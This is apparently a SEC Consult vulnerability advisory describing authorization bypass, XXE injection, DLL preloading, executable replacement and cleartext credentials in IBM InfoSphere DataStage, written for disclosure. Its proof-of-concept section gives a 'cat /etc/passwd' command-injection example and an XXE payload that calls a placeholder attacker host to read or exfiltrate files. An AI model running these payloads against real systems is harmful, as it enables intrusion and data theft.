Multiple Vulnerabilities In IBM Infosphere Information Server / Datastage


Multiple Vulnerabilities


IBM Infosphere Information Server / Datastage

Vulnerable Version

9.1, 11.3, and 11.5 (including Cloud version 11.5)

Fixed Version


CVE Number

CVE-2017-1495, CVE-2017-1468, CVE-2017-1383, CVE-2017-1467






Goh Zhi Hao, Mohammad Shah Bin Mohammad Esa, Samandeep Singh (Office Singapore) | SEC Consult Vulnerability Lab

The IBM Infosphere Datastage Application is affected by weak authorization flaws which allows a low privileged user to execute systems commands. Furthermore, it also has multiple other vulnerabilities affecting the application.

Vendor Description

“IBM® InfoSphere® DataStage® integrates data across multiple systems using a high performance parallel framework, and it supports extended metadata management and enterprise connectivity. The scalable platform
provides more flexible integration of all types of data, including big data at rest (Hadoop-based) or in motion (stream-based), on distributed and mainframe platforms.”


Business Recommendation

Attackers are able to bypass authorization controls to execute system commands. The vendor did not provide a patch but mitigation steps which have to be implemented.

SEC Consult recommends the vendor to conduct a comprehensive security analysis, based on security source code reviews, in order to identify all vulnerabilities in the Remote Management platform and increase the security for its customers.

Vulnerability Overview/ Description

1) Weak Authorization (CVE-2017-1467)

The Administrator Client allows users with high priviledges to execute commands. A low privileged application user can replay the same request and execute arbitrary commands on the server.

This happens because the application links to a single linux user in the backend server. The application privileges are based on this system user irrespective of the user role of the application user.

Hence, any command can be executed by a low privileged application user in the backend OS, depending on the privileges of the linux user the application is using.

2) XML eXternal Entity (XXE) Injection (CVE-2017-1383)

The Designer client allows users to import files in XML format. By tricking the user to import an XML file with malicious XML code to the application, it’s possible to exploit an XXE vulnerability within the application.

3) DLL Preloading

Dynamic Link Library (DLL) files are loaded from the application’s home directory without being verified. This may lead to execution of arbitrary files on the system as any users can replace the DLLs.

4) Loading Arbitrary Executables (CVE-2017-1468)

The Director and Designer Client do not check for any file signatures before loading and executing other executable files. Existing files can be replaced by any user with executable files, which will be executed from the toolbar.

5) Cleartext Passwords in Memory Dump (CVE-2017-1495)

User credentials are stored in clear text within the memory which can be dumped to retrieve these credentials.

Proof Of Concept

1) Weak Authorization (CVE-2017-1467)

Any command can be injected back to the Administrator Client to execute system commands.

SH -c "cat /etc/passwd"

2) XML External Entity Injection (XXE) (CVE-2017-1383)

For example by importing the following XML code, arbitrary files can be read from the client’s system. The following code generates the connection request from the client system to attacker system.

<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "http://[IP:port]/" >]><foo>&xxe;</foo>

IP:port = IP address and port where the attacker is listening for connections

Furthermore some files can be exfiltrated to remote servers via the techniques described in:

3) DLL Preloading

Removed proof of concept.

4) Loading Arbitrary Executables (CVE-2017-1468)

The following executables can be replaced to with other executable files with the same name :

Director.exe DSDesign.exe

5) Cleartext Passwords in Memory Dump (CVE-2017-1495)

Users can create a memory dump file based on the process id of the application. User credentials can be extracted by searching it in the dump file.

Vulnerable / Tested Versions

The following version has been tested which was the most recent one when the vulnerabilities were discovered:

  • IBM Infosphere Datastage 11.5

IBM states that the following products are also affected:

  • IBM InfoSphere Information Server: versions 9.1, 11.3 and 11.5
  • IBM InfoSphere Information Server on Cloud: version 11.5